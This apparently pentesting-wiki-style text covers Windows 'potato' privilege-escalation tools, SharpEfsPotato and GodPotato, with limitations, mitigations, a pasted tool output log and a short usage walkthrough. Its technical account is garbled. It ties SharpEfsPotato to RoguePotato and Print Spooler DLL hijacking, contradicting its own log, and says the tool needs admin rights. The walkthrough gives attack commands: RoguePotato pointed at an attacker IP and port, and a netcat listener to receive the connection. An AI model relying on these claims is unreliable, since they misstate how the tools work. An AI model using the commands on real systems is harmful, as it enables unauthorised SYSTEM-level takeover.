SharpEfsPotato is a tool that exploits the EFS (Encrypting File System) service in Windows to achieve local privilege escalation. It leverages the "RoguePotato" technique, which takes advantage of the Windows Print Spooler service to execute arbitrary code with SYSTEM privileges.
SharpEfsPotato works by creating a rogue print server and a rogue printer. When the Print Spooler service starts, it loads a DLL file specified in the printer's configuration. By exploiting the DLL search order hijacking vulnerability, SharpEfsPotato can force the Print Spooler service to load a malicious DLL file with SYSTEM privileges.
#### Limitations
- SharpEfsPotato requires administrative privileges to create the rogue print server and printer.
- The target system must have the Print Spooler service enabled.
- The technique may not work on systems with certain security configurations or mitigations in place.
#### Mitigations
To mitigate the risks associated with SharpEfsPotato, consider the following measures:
- Disable the Print Spooler service if it is not required.
- Regularly apply security updates and patches to the operating system.
- Implement strong access controls and permissions to limit the impact of potential privilege escalation attacks.
#### Conclusion
SharpEfsPotato is a powerful tool for local privilege escalation on Windows systems. By exploiting the EFS service and the DLL search order hijacking vulnerability in the Print Spooler service, it can elevate privileges to SYSTEM level. However, it is important to use this tool responsibly and only in authorized penetration testing scenarios.
[+] Triggering name pipe access on evil PIPE \\localhost/pipe/c56e1f1f-f91c-4435-85df-6e158f68acd2/\c56e1f1f-f91c-4435-85df-6e158f68acd2\c56e1f1f-f91c-4435-85df-6e158f68acd2
df1941c5-fe89-4e79-bf10-463657acf44d@ncalrpc:
[x]RpcBindingSetAuthInfo failed with status 0x6d3
[+] Server connected to our evil RPC pipe
[+] Duplicated impersonation token ready for process creation
[+] Intercepted and authenticated successfully, launching program
GodPotato is a tool that combines the power of RoguePotato and PrintSpoofer to achieve local privilege escalation on Windows systems. It takes advantage of the Windows Print Spooler service and the impersonation capabilities of the Distributed Component Object Model (DCOM) to execute arbitrary code with SYSTEM privileges.
To use GodPotato, you need to have a low-privileged user account on the target system. First, you need to download the RoguePotato and PrintSpoofer tools. RoguePotato is used to create a malicious DCOM object, while PrintSpoofer is used to exploit the Print Spooler service.
Once you have the tools, follow these steps:
1. Run RoguePotato with the following command to create a malicious DCOM object:
```
RoguePotato.exe -r <attacker_ip>:<attacker_port>
```
Replace `<attacker_ip>` and `<attacker_port>` with your IP address and the port you want to listen on.
2. Start a listener on your machine to receive the connection from the target system. For example, you can use netcat:
```
nc -nlvp <attacker_port>
```
Replace `<attacker_port>` with the same port you used in the previous step.
It's important to note that GodPotato exploits a vulnerability in the Windows Print Spooler service, which has been patched by Microsoft. Therefore, this technique may not work on fully patched systems.
